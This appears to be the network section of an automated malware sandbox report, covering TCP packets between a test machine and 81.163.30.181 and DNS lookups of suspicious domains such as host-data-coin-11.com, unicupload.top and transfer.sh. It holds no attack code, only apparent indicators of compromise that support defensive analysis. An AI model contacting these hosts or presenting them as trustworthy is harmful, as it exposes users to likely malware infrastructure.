Jan 14, 2022 20:24:10.766577005 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766583920 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766630888 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766679049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766683102 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766729116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766772032 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766772032 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766818047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766856909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766861916 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766941071 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766983032 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766983032 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767021894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767060041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767070055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767117023 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767165899 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767177105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767235041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767282009 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767292976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767352104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767391920 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767395020 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767431021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767467976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767472029 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767505884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767545938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767548084 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767584085 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767621994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767626047 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767658949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767695904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767698050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767733097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767771006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767771959 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767810106 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767848015 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767848969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767885923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767921925 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.767925024 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767961979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.767999887 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.768003941 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.768038034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.768075943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.768078089 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.768114090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.768153906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.768157959 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.768189907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.768228054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.768230915 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.768266916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.768307924 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.769412994 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825036049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825083971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825124025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825136900 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825160980 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825201988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825203896 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825243950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825284004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825289011 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825324059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825361013 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825366974 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825402021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825440884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825443983 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825479031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825517893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825539112 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825557947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825597048 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825597048 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825638056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825675011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825680971 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825712919 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825752020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825754881 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825788021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825826883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825829029 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825918913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825961113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.825964928 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.825997114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826035023 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826040030 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826071978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826108932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826114893 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826147079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826184988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826189995 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826224089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826263905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826265097 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826299906 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826338053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826339006 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826375961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826411963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826416969 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826450109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826487064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826489925 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826524973 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826564074 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826564074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826601028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826638937 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826641083 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826677084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826711893 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826715946 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826750994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826787949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826790094 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826826096 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826865911 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826865911 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826914072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826952934 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.826952934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.826992035 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827028036 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827033043 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.827065945 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827104092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827104092 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.827141047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827178955 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827179909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.827217102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827255011 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.827255011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827295065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827331066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827333927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.827368021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827405930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827406883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.827441931 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827480078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.827480078 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.829060078 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884144068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884196997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884234905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884238958 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884274006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884287119 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884314060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884351015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884356976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884390116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884428978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884429932 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884466887 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884505033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884506941 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884543896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884582996 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884582996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884624004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884660006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884670019 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884701014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884737968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884742975 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884776115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884823084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884860039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884896994 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884898901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884902000 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.884939909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884977102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.884980917 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885015965 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885054111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885061026 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885092020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885129929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885130882 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885169029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885206938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885210037 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885248899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885287046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885292053 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885325909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885365009 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885375023 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885401011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885440111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885443926 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885478020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885518074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885524035 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885556936 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885595083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885600090 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.885632992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.885670900 CET	80	49907	81.163.30.181	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 20:22:59.593086958 CET	192.168.2.3	8.8.8.8	0xdb2a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:00.090055943 CET	192.168.2.3	8.8.8.8	0xb64c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:00.553119898 CET	192.168.2.3	8.8.8.8	0xd5c3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:00.720731974 CET	192.168.2.3	8.8.8.8	0x5141	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:01.224791050 CET	192.168.2.3	8.8.8.8	0xe843	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:01.448460102 CET	192.168.2.3	8.8.8.8	0x2ea4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:03.074909925 CET	192.168.2.3	8.8.8.8	0x97a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:03.562218904 CET	192.168.2.3	8.8.8.8	0x3215	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:04.002065897 CET	192.168.2.3	8.8.8.8	0x1642	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:05.775187969 CET	192.168.2.3	8.8.8.8	0xc79c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:05.961374998 CET	192.168.2.3	8.8.8.8	0xfb5a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:06.147183895 CET	192.168.2.3	8.8.8.8	0x1527	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:06.739689112 CET	192.168.2.3	8.8.8.8	0x5108	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:06.903386116 CET	192.168.2.3	8.8.8.8	0xc95b	Standard query (0)	privacy-tools-for-you-780.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:08.851147890 CET	192.168.2.3	8.8.8.8	0x908b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:09.027312994 CET	192.168.2.3	8.8.8.8	0x2c44	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:09.206108093 CET	192.168.2.3	8.8.8.8	0x7051	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:09.277249098 CET	192.168.2.3	8.8.8.8	0xac5c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:09.484148026 CET	192.168.2.3	8.8.8.8	0xe140	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:10.085179090 CET	192.168.2.3	8.8.8.8	0x9e93	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:10.289695978 CET	192.168.2.3	8.8.8.8	0xbfa0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:10.465589046 CET	192.168.2.3	8.8.8.8	0xc084	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:13.875395060 CET	192.168.2.3	8.8.8.8	0x4e00	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:14.052778006 CET	192.168.2.3	8.8.8.8	0x5d57	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:14.231143951 CET	192.168.2.3	8.8.8.8	0x2c7d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:14.428993940 CET	192.168.2.3	8.8.8.8	0xda0e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:17.116410971 CET	192.168.2.3	8.8.8.8	0xe276	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:17.282830954 CET	192.168.2.3	8.8.8.8	0x1741	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:17.730241060 CET	192.168.2.3	8.8.8.8	0x1230	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:17.898772955 CET	192.168.2.3	8.8.8.8	0xdf88	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:19.761039019 CET	192.168.2.3	8.8.8.8	0xfd1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:19.934057951 CET	192.168.2.3	8.8.8.8	0x62c5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:20.122881889 CET	192.168.2.3	8.8.8.8	0xb96f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:41.619885921 CET	192.168.2.3	8.8.8.8	0x77df	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:41.816992044 CET	192.168.2.3	8.8.8.8	0x2e1a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:41.993643999 CET	192.168.2.3	8.8.8.8	0xc72f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:42.160722971 CET	192.168.2.3	8.8.8.8	0x2d01	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:42.342725039 CET	192.168.2.3	8.8.8.8	0xb2c1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:42.516983986 CET	192.168.2.3	8.8.8.8	0x4563	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:42.683554888 CET	192.168.2.3	8.8.8.8	0xff7a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:42.872464895 CET	192.168.2.3	8.8.8.8	0xefc8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:43.068180084 CET	192.168.2.3	8.8.8.8	0x8ed9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:43.260879040 CET	192.168.2.3	8.8.8.8	0x12b6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:43.448460102 CET	192.168.2.3	8.8.8.8	0xcee	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:43.622994900 CET	192.168.2.3	8.8.8.8	0x53c2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:43.790278912 CET	192.168.2.3	8.8.8.8	0xb3a0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:43.991139889 CET	192.168.2.3	8.8.8.8	0x20de	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:45.729631901 CET	192.168.2.3	8.8.8.8	0x8df9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:45.928921938 CET	192.168.2.3	8.8.8.8	0x4292	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:46.106477022 CET	192.168.2.3	8.8.8.8	0x7729	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:46.783490896 CET	192.168.2.3	8.8.8.8	0xcc15	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:46.994508028 CET	192.168.2.3	8.8.8.8	0xd21d	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:47.961041927 CET	192.168.2.3	8.8.8.8	0x59e0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:49.111679077 CET	192.168.2.3	8.8.8.8	0xbdcf	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:49.293678999 CET	192.168.2.3	8.8.8.8	0x6782	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:49.463077068 CET	192.168.2.3	8.8.8.8	0x55b3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:49.634524107 CET	192.168.2.3	8.8.8.8	0x603d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:57.143260956 CET	192.168.2.3	8.8.8.8	0x29e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:57.313873053 CET	192.168.2.3	8.8.8.8	0x512a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:58.725483894 CET	192.168.2.3	8.8.8.8	0xe13b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:58.901207924 CET	192.168.2.3	8.8.8.8	0x1574	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:59.081888914 CET	192.168.2.3	8.8.8.8	0x8015	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:23:59.302086115 CET	192.168.2.3	8.8.8.8	0xbb59	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 20:24:01.871258974 CET	192.168.2.3	8.8.8.8	0xf250	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:24:02.044727087 CET	192.168.2.3	8.8.8.8	0x69ff	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:24:02.216252089 CET	192.168.2.3	8.8.8.8	0xd2dd	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:24:03.665247917 CET	192.168.2.3	8.8.8.8	0x50d1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 20:24:04.127317905 CET	192.168.2.3	8.8.8.8	0xc30f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
